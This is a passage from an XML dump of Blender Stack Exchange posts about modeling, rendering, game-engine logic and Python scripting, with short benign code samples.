  <row Id="18995" PostTypeId="2" ParentId="18987" CreationDate="2014-11-18T02:22:59.553" Score="1" Body="&lt;p&gt;I don't know why message pulses twice but&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the logic on Text to message&gt; property &quot;collideCount&quot; add 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then added an always sensor true level triggering at frequency 3 &#xA;connected to script  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge    &#xA;scene = bge.logic.getCurrentScene()&#xA;&#xA;dynamicText = scene.objects['Text']&#xA;&#xA;def main():&#xA;    dynamicText.text = str(dynamicText[&quot;collideCount&quot;])&#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ball2000.net/blender/images/messageBounce.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;new logic http://ball2000.net/blender/images/messageBounce.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7610" LastEditorUserId="7610" LastEditDate="2014-11-18T02:29:01.223" LastActivityDate="2014-11-18T02:29:01.223" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18996" PostTypeId="2" ParentId="18962" CreationDate="2014-11-18T02:51:32.777" Score="4" Body="&lt;p&gt;Okay, I figured out what I was doing wrong.  To reduce the clutter in the scene I had turned off visibility of some of the panels (red below). BUT...I did NOT turn off rendering (blue). Inadvertently I had backed the camera behind an invisible plane that had no illumination. When I turned off rendering for the hidden plane things worked fine. So in the preview rendering of the 3d window, what you see is what you get.  But in the full render, what you don't see can get you too!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/soGsv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7702" LastActivityDate="2014-11-18T02:51:32.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18997" PostTypeId="2" ParentId="18955" CreationDate="2014-11-18T03:04:45.663" Score="5" Body="&lt;p&gt;Since it came up in the comments about the normals being a total mess after Remove Doubles is used because the mesh folds through itself I have posted an answer here on how to fix this.&lt;br&gt;&#xA;Recently a tool named Intersect was added that can fix this issue by performing what is similar to a Boolean Intersect operation except that this tool works in Edit mode and can handle self-intersections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first image shows the messy mesh after Remove Doubles is used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4w7l0.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now press &lt;kbd&gt;spacebar&lt;/kbd&gt; and type Intersect and click that entry to activate the tool and change the menu entry to Self-Intersect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QAQec.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next use Remove Doubles again.  This may require an adjustment to the Merge Distance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once that's done you can select everything and use Ctrl n to Recalculate Normals and it should look good.(aside from the quads meeting up with nGons.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also some interior faces created at the junction which should be deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the result rendered with a glass shader and a bit of volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h2nE9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-11-18T03:04:45.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18998" PostTypeId="2" ParentId="18992" CreationDate="2014-11-18T03:32:53.113" Score="3" Body="&lt;p&gt;for a simple case like this you can deactivate the Solidify Modifier and use Remove Doubles to connect the 2 pieces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select the edge that is where the gap was and use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;b&lt;/kbd&gt; to split the edge.  Now you can delete the faces to have the gap that was originally there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9FPbh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eDgH0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-11-18T03:32:53.113" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18999" PostTypeId="2" ParentId="18969" CreationDate="2014-11-18T04:04:10.170" Score="4" Body="&lt;p&gt;You can use the 'Time remapping' slider to quickly adjust the global timing of the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to render every 10 frames, set the New time to 10 (100/10), and also set the end frame to 1/10th of the actual length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E9Aio.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-11-18T04:04:10.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19000" PostTypeId="2" ParentId="18955" CreationDate="2014-11-18T04:10:15.140" Score="13" Body="&lt;p&gt;Beside math, there can be a simpler way to model it: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add Bezier Curve, do not make it cyclic, then tweak points;&lt;/li&gt;&#xA;&lt;li&gt;Adjust Radius (Select one or more points, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Convert to mesh (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; - &lt;em&gt;Convert Mesh from Curve/Meta/Surf/Text&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Bridge the two open loops (&lt;kbd&gt;W&lt;/kbd&gt; - Bridge Edge Loops)&lt;/li&gt;&#xA;&lt;li&gt;Cut off the intersect faces: Mesh &gt; Faces &gt; Intersect, then delete them. (optional)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aQoCD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pZ5yt.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BsW5p.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SBtFT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/2053/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=2053&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The consistency of normals has to be broken in this case. It is very interesting, which means you cannot make thickness simply by applying one Solidify modifier. It actually isn't a 3-dimensional thing.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="-1" LastEditDate="2017-03-14T09:10:21.057" LastActivityDate="2016-10-08T01:42:08.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19001" PostTypeId="2" ParentId="18936" CreationDate="2014-11-18T04:13:53.617" Score="1" Body="&lt;p&gt;You can speed up the playback of the animations by increasing the 'Animation Frame rate' speed in the Render properties editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ewI4W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-11-18T04:13:53.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19003" PostTypeId="2" ParentId="18992" CreationDate="2014-11-18T06:02:20.857" Score="9" Body="&lt;p&gt;Try this way:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select both sides, &lt;kbd&gt;W&lt;/kbd&gt; - Bridge Edge Loops. Enable Merge, set Factor to 0 (or 1);&lt;/li&gt;&#xA;&lt;li&gt;Keep current selection, &lt;kbd&gt;V&lt;/kbd&gt; to rip, then &lt;kbd&gt;RMB&lt;/kbd&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Mesh &amp;gt; Edges &amp;gt; Edge Slide ( or &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;) to enable Edge Slide. &lt;kbd&gt;E&lt;/kbd&gt; to toggle Even, if the current result is in a wrong way, then &lt;kbd&gt;F&lt;/kbd&gt; to flip it (those are options shown on 3D View header).&lt;/li&gt;&#xA;&lt;li&gt;Move to the expected position, then &lt;kbd&gt;LMB&lt;/kbd&gt; or &lt;kbd&gt;Enter&lt;/kbd&gt; to apply changes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P50nL.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;P.S.:&lt;/strong&gt; For the 3rd step, you can simply &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; to bevel those edges. However, the normals for both islands are opposite in your case, you need to unify them before that.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-11-18T06:10:59.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19004" PostTypeId="2" ParentId="18989" CreationDate="2014-11-18T09:11:08.200" Score="2" Body="&lt;p&gt;See if your objects are in different layers, and what layers are visible in those new windows.&lt;/p&gt;&#xA;" OwnerUserId="8060" LastActivityDate="2014-11-18T09:11:08.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19006" PostTypeId="2" ParentId="18959" CreationDate="2014-11-18T12:46:05.607" Score="1" Body="&lt;p&gt;the gsoc 2013 proposal you linked to doesn't seem to be included in blender master/trunk yet, so you won't find it's features in the latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a special build from the GsoC 2013 motion track branch though. &lt;a href=&quot;http://graphicall.org/1063&quot; rel=&quot;nofollow&quot;&gt;http://graphicall.org/1063&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8063" LastActivityDate="2014-11-18T12:46:05.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19009" PostTypeId="1" CreationDate="2014-11-18T13:42:20.757" Score="5" ViewCount="1433" Body="&lt;p&gt;Is it possible to create a timer in the Blender game engine without using DeBug or python? I can create point systems using dynamic text, but just can't figure out how to create a timer.&lt;/p&gt;&#xA;" OwnerUserId="8064" LastEditorUserId="5705" LastEditDate="2014-12-19T20:16:46.960" LastActivityDate="2015-01-19T00:12:39.487" Title="BGE: How to create a countdown timer without using debug or python?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19010" PostTypeId="1" CreationDate="2014-11-18T13:50:04.100" Score="2" ViewCount="294" Body="&lt;p&gt;I'm using particles, explode modifier and a texture to control particles emition timing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering is it possible to change the exploded element size in time from the particle emission start until the end of particle lifetime (or any other timing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JYwZU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2014-11-18T13:50:04.100" Title="Is it possible to change particle explosion element size in time?" Tags="&lt;particles&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19011" PostTypeId="1" AcceptedAnswerId="19031" CreationDate="2014-11-18T14:12:05.897" Score="2" ViewCount="1473" Body="&lt;p&gt;Is there a way to have a 2D mesh wrapped around a 3D object. Like this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HbjcH.png&quot; alt=&quot;Knot wrapped around 3D object&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The red part is a flattened knot, which I mapped onto the surface of the blue part. In this specific case I used math to achieve it, but not all shapes can be easily expressed as formulae. What other ways are there?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using physics, making the blue part a passive rigid body and the red part a soft body falling onto the blue part, and it seemed to work beautifully. But when I tried it again now, I realised that it doesn't do what I'm after. The net and the object onto which I want to wrap it already have the same X and Y dimensions, which is how I want it. I only need to remap the Z coordinates.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another idea that comes to mind, would be generating a texture from the Z coordinates of the blue part and use that texture with the displace modifier on the red part. Is this possible?&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2014-11-18T16:11:11.090" LastActivityDate="2015-04-06T01:31:31.737" Title="Wrapping a 2D net over a 3D object" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19012" PostTypeId="1" CreationDate="2014-11-18T14:12:38.070" Score="1" ViewCount="828" Body="&lt;p&gt;I just started learning Blender and I noticed that there are two engines &quot;Blender render&quot; and &quot;cycles render&quot;. I'd like to know what is the difference between them in term of Tools, interface (not really rendering time)? I wonder can i first learn Blender Rendering and then switch to Cycles render and use it as easy as trained Blender render? If they do differ so much, please list main advantages and disadvantages. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="8065" LastActivityDate="2014-11-18T17:27:52.703" Title="Which engine in Blender should i start with?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="9" ClosedDate="2014-11-18T17:52:59.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="19014" PostTypeId="2" ParentId="7760" CreationDate="2014-11-18T16:21:58.680" Score="0" Body="&lt;p&gt;Also check &lt;strong&gt;Falloff power&lt;/strong&gt;&lt;br/&gt;(my problem was: too low &lt;code&gt;strength&lt;/code&gt; and too big &lt;code&gt;falloff power&lt;/code&gt;).&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fOBoo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7757" LastActivityDate="2014-11-18T16:21:58.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19015" PostTypeId="1" CreationDate="2014-11-18T16:33:00.357" Score="8" ViewCount="1205" Body="&lt;p&gt;Lets say I have an asset named &quot;&lt;em&gt;John.blend&lt;/em&gt;&quot; that I link into my animation &quot;&lt;em&gt;Shot_005.blend&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I animate my awesome character, John, over several days and am eventually happy with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/433sm.png&quot; alt=&quot;John&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unknown to me, someone renames &quot;&lt;em&gt;John.blend&lt;/em&gt;&quot; to &quot;&lt;em&gt;John_FINAL_v1_USETHISONE.blend&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A while later, I open up my &quot;&lt;em&gt;Shot_005.blend&lt;/em&gt;&quot; file (without noticing the warnings about the missing library, &quot;&lt;em&gt;John.blend&lt;/em&gt;&quot;, or the empty space in the scene) and make some tweaks to the render settings. I then save the file and close Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next time I open &lt;em&gt;Shot_005.blend&lt;/em&gt;, I notice that John has mysteriously vanished, leaving behind only a ghostly Empty object in his place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JSVel.png&quot; alt=&quot;Not John&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then realize that the John file was renamed, and attempt to solve my problem by renaming the file back to &quot;&lt;em&gt;John.blend&lt;/em&gt;&quot;, however upon reloading the shot file, John is still gone (because the library data block no longer exists)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can recover my awesome animation that I spent several days on?&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2014-11-18T17:20:13.690" LastActivityDate="2015-11-22T22:14:00.367" Title="If a blend is saved with missing linked libraries, is that data now permanently lost?" Tags="&lt;blend-files&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19016" PostTypeId="2" ParentId="19012" CreationDate="2014-11-18T17:27:52.703" Score="2" Body="&lt;p&gt;As newbies we started with cycles(side note, we still are newbies).  Cycles looks incredible. It seems to be the most common for achieving photo realistic renders in blender. The draw back is that, it is a little slower. And if set for shorter render times, it can introduce noise. The blender internal render engine is a fast and solid render engine. It can take a little more tweaking to get photorealistic results. In some cases photorealistic results can not be achieved. It has some features that have yet to be ported to cycles or in some cases are just now being imported to cycles, i.e. freestyle, halo and volumetric lighting. The blender can be much faster choice for animations as far as render time. We chose to focus on cycles first and work with the internal render engine as needed.  We have been happy with our choice and results. If you need features from one engine that are missing in the other blender has a compositor at its disposal for combining images. We still have so much to learn. We will be looking into other render engines as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summary:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles Pros&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Easier to achieve very photorealistic results&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Cycles Cons&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Much slower than the internal engine &lt;/li&gt;&#xA;&lt;li&gt;Can introduce noise as artifacts&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Blender Internal Pros&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Much faster than cycles&lt;/li&gt;&#xA;&lt;li&gt;Has some features that are not present or not as mature in cycles.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Blender Internal Cons&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Not as easy to achieve photorealistic results.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7974" LastActivityDate="2014-11-18T17:27:52.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19017" PostTypeId="2" ParentId="5287" CreationDate="2014-11-18T17:31:45.543" Score="1" Body="&lt;p&gt;Sometimes versions of python in Blender and in the System may differ. Along the suggestions from Polosson, I would try to &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;install an alternate version of Python in the system:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;download a version of Python with the same major and minor numbers as in Blender&lt;/li&gt;&#xA;&lt;li&gt;compile and install in an alternate location (with &lt;code&gt;configure --prefix&lt;/code&gt; and &lt;code&gt;make altinstall&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;install needed modules in this alternate version (you may use pip, don't forget to use the alternate python executable, &lt;strong&gt;not&lt;/strong&gt; the system one)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;copy what is in &lt;code&gt;site-packages&lt;/code&gt; in the alternate version of Python to the same directory in Blender python directory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should now have your modules working in Blender.&lt;/p&gt;&#xA;" OwnerUserId="8066" LastActivityDate="2014-11-18T17:31:45.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19019" PostTypeId="1" AcceptedAnswerId="21511" CreationDate="2014-11-18T18:01:57.860" Score="5" ViewCount="2185" Body="&lt;p&gt;I'm still a python beginner and I'm writing a script/addon that moves vertices of a mesh following a &quot;long&quot; calcul every time frame changes. Something like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def MoveVertices(scene):&#xA;    obj = bpy.data.objects['Cube4']&#xA;    '''creating a copied mesh (.to_mesh) here to retrieve vertices positions later&#xA;    '+ setting some variables&#xA;    '''&#xA;    for v in obj.data.vertices:&#xA;        '''long calcul to find the vector&#xA;        ' like 20 lines of code some if statements and calculus&#xA;        '''&#xA;        v.co += vector&#xA;    ''' setting some variables + removing tmp mesh (.remove)'''&#xA;    return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.app.handlers.frame_change_post.clear()&#xA;    bpy.app.handlers.frame_change_post.append(MoveVertices)&#xA;&#xA;def unregister():&#xA;    bpy.app.handlers.frame_change_post.remove(MoveVertices)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What happens of course is when there is a lot of vertices the system starts to slow down a lot. I know for performance sake I should write in C/C++ and do a custom blender build but I was wondering if there isn't a more efficient way to move bunch of vertices in &quot;real time&quot; with python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my questions :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;does a straight loop through all vertices like I'm doing is the best&#xA;way to go concerning calcul speed?&lt;/li&gt;&#xA;&lt;li&gt;would using bmesh help in that matter?&lt;/li&gt;&#xA;&lt;li&gt;what about slicing the amount of vertices and launching the calcul&#xA;in parallel for each chunks (with a modal timer operator) ? Would that be an idea ?&lt;/li&gt;&#xA;&lt;li&gt;is there something I'm missing in the python api that could help ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thx a lot for your help.&lt;/p&gt;&#xA;" OwnerUserId="6039" LastEditorUserId="6039" LastEditDate="2014-11-18T19:15:20.143" LastActivityDate="2014-12-29T16:30:11.297" Title="Fastest way to move vertices with python" Tags="&lt;python&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19020" PostTypeId="1" CreationDate="2014-11-18T18:35:50.443" Score="3" ViewCount="3286" Body="&lt;p&gt;I am trying to render an animation, and every time I go to render, it only renders one frame and stops. Please help.  I am stuck until I can fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8059" LastEditorUserId="241" LastEditDate="2014-11-18T18:54:26.230" LastActivityDate="2015-09-15T19:25:10.780" Title="Why does blender render a single image instead of the whole video?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="19021" PostTypeId="2" ParentId="4817" CreationDate="2014-11-18T20:08:42.617" Score="1" Body="&lt;pre&gt;&lt;code&gt;MNAME = 'myMaterial'&#xA;obs = [o for o in bpy.data.objects&#xA;       if type(o.data) is bpy.types.Mesh&#xA;           and MNAME in o.data.materials]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obs = []&#xA;for o in bpy.data.objects:&#xA;    if isinstance(o.data, bpy.types.Mesh) and MNAME in o.data.materials:&#xA;        obs.append(o)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3153" LastActivityDate="2014-11-18T20:08:42.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19022" PostTypeId="1" CreationDate="2014-11-18T20:15:16.270" Score="0" ViewCount="380" Body="&lt;p&gt;As a newcomer to Blender, I'm trying to reproduce a few workflow scenarios I once used in Bryce, but now in Blender I can't figure out how to do one simple task that was the backbone of much of my output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Bryce I could render a scene, then using a bounding box to select an area, render the selection and see a newly rendered scene that would then fill the 3d view (called &quot;Zoom to Selection&quot; in Bryce). I could then select another  area in that &quot;new&quot; scene, render that selection, and so on, and so on (re-iteratively) quite a ways. Essentially you are slowly zooming in. Each new render was detailed enough to see what I wanted to zoom into further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest I've found in Blender is the &quot;Render Border&quot; function.  Unfortunately, the rendered selection is too undetailed to see well enough to effectively zoom a second time, much less allow for successive iterations. Also, &quot;rendered border&quot; only fills the selected area within the &quot;camera&quot; view. If the selected area is near a border of the main view, then zooming the view to see greater detail in the selection results in part of the image scrolling outside any possible view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At any rate, if anyone here has worked with the &quot;Zoom to Selection&quot; feature in Bryce, and has a suggestion as to how to recreate it in Blender, I would be overjoyed!&lt;/p&gt;&#xA;" OwnerUserId="8072" LastEditorUserId="2217" LastEditDate="2014-11-18T20:24:24.160" LastActivityDate="2018-01-31T05:50:27.297" Title="Bryce &quot;Zoom to Selection&quot; Function in Blender?" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19025" PostTypeId="2" ParentId="18987" CreationDate="2014-11-18T22:20:07.567" Score="5" Body="&lt;p&gt;If I remember correctly, collision sensors fire twice by design.  Once when set True, and another when False.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't a problem when connected to an And or Not controller (because they check) but in a script you'll have to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def collision(cont):&#xA;    # Loops through all connected sensors and returns if one is False&#xA;    # Basically makes it work like an And conroller.&#xA;    for sens in cont.sensors:&#xA;        if not sens.positive:&#xA;            return&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8075" LastActivityDate="2014-11-18T22:20:07.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19030" PostTypeId="1" CreationDate="2014-11-19T01:01:59.990" Score="0" ViewCount="709" Body="&lt;p&gt;I was working on a grass animation with a wind force field.&lt;br&gt;&#xA;First the animation in the 3D view was running at normal speed (~20 fps) then I adjusted a few settings like Stiffness and Bending. And now the animation is running very slow (~0.8 fps).&lt;br&gt;&#xA;I loaded an old save file that worked just fine before, but even there the animation speed is now achingly slow.&#xA;Do I have to clean up or refresh something I don't know about?&#xA;Is this a known problem and is their a way to solve it?&lt;/p&gt;&#xA;" OwnerDisplayName="user8080" LastEditorUserId="2217" LastEditDate="2014-11-19T01:27:56.030" LastActivityDate="2014-11-19T01:27:56.030" Title="Animation in viewport suddenly becomes very slow" Tags="&lt;animation&gt;&lt;3d-view&gt;&lt;particles&gt;&lt;performance&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19031" PostTypeId="2" ParentId="19011" CreationDate="2014-11-19T04:34:32.040" Score="4" Body="&lt;p&gt;You can use a conbination of &lt;strong&gt;Mesh Deform&lt;/strong&gt; and &lt;strong&gt;Cloth simulation&lt;/strong&gt; with proper settings.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a grid plane to cover the whole net;&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;strong&gt;Cloth&lt;/strong&gt; Simulator to it, then &lt;strong&gt;Solidify&lt;/strong&gt; modifier;&lt;/li&gt;&#xA;&lt;li&gt;Tweak settings of them;&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;strong&gt;Mesh Deform&lt;/strong&gt; modifier to the net object. (use higher &lt;em&gt;Presision&lt;/em&gt; value if necessary, then &lt;em&gt;Band&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Then play or bake the final shape. Delete the grid mesh (optional).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sI7qH.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EtZr6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HtxbW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GK7Ih.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yKDZE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1ojv5B6Lb-3VGdkbndkLXNITlU/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Example File&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-04-06T01:31:31.737" LastActivityDate="2015-04-06T01:31:31.737" CommentCount="3" ContentLicense="CC BY-SA 